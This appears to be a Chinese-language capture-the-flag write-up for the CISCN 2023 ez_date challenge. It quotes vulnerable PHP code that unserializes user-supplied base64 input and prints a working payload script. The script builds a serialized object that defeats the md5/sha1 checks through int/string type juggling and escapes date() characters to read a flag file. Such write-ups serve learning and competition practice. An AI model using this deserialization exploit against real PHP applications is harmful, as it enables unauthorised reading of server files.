[CISCN 2023 华北]ez_date
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php error_reporting(0); highlight_file(__FILE__); class date{ public $a; public $b; public $file; public function __wakeup() { if(is_array($this->a)||is_array($this->b)){ die('no array'); } if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){ $content=date($this->file); $uuid=uniqid().'.txt'; file_put_contents($uuid,$content); $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } }
unserialize(base64_decode($_GET['code']));
|
审计:
大概是三个变量a,b,file,还有一个反序列化激活的 __wakeup(),先是
1 2
| if(is_array($this->a)||is_array($this->b)){ die('no array');
|
不让用数组绕过
然后是绕过条件
1
| if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )
|
要求a和b弱比较不同,&&a和b的md5和sha1值相同
然后看不懂了
分析:
(1)wakeup方法首先禁用了数组,所以不能给成员变量a和b赋值数组,需要使用其他方法绕过下面的md5和sha1。
(2)因为比较变量使用的是弱比较(!==),则我们可以给a、b赋值同值不同类,例如a=1、b=’1’,二者md5值和sha1值相同,可以通过检查。
(3)变量content接受经过date日期格式化后的变量file。
对于date()方法:
该方法会检测传入的字符串中是否有特定的格式化字符,如Y(年份)、m(月份)、d(天)、H(时)、i(分钟)、s(秒)等
检测存在则会将格式化字符替换为当前时间的对应部分,否则将字符进行原样输出,同时可用转义字符将格式化字符原样输出
(4)uniqid()方法会生成一个唯一的文件名,并与后缀“.txt”拼接成变量uuid。
(5)file_put_contents()方法会将content的内容写入uuid表示的文本文档中。对文本文档的内容进行正则匹配,去除内容中的空格和换行符,赋值给变量打他。
(6)显示变量data的内容。
综上,我们需要绕过检测,为变量file赋值一个不会被date方法格式化的flag路径,读取到flag后,借由变量data显示出来。
https://www.cnblogs.com/yuspace/p/18114039
重要的来了
KIMI:
1 2
| echo file_get_contents($data);
|
1 2
| $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
|
最后payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class date{ public $a; public $b; public $file; public function __wakeup() { if(is_array($this->a)||is_array($this->b)){ die('no array'); } if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){ $content=date($this->file); $uuid=uniqid().'.txt'; file_put_contents($uuid,$content); $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid)); echo file_get_contents($data); } else{ die(); } } } $a=new date();
$a->a=1; $a->b='1';
$a->file="/f\l\a\g"; echo base64_encode(serialize($a));
|
by https://www.cnblogs.com/yuspace/p/18114039
值同类不同
$this->a !== $this->b:
$this->a 是整数 1,$this->b 是字符串 ‘1’。在 PHP 中,它们的值虽然相等,但类型不同,因此 !== 比较结果为 true。
md5($this->a) === md5($this->b):
当你将整数 1 传递给 md5() 函数时,PHP 会将其转换为字符串 ‘1’,因此 md5(1) 和 md5(‘1’) 的结果是相同的。
sha1($this->a) === sha1($this->b):
同样,sha1() 函数也会将整数 1 转换为字符串 ‘1’,因此 sha1(1) 和 sha1(‘1’) 的结果也是相同的。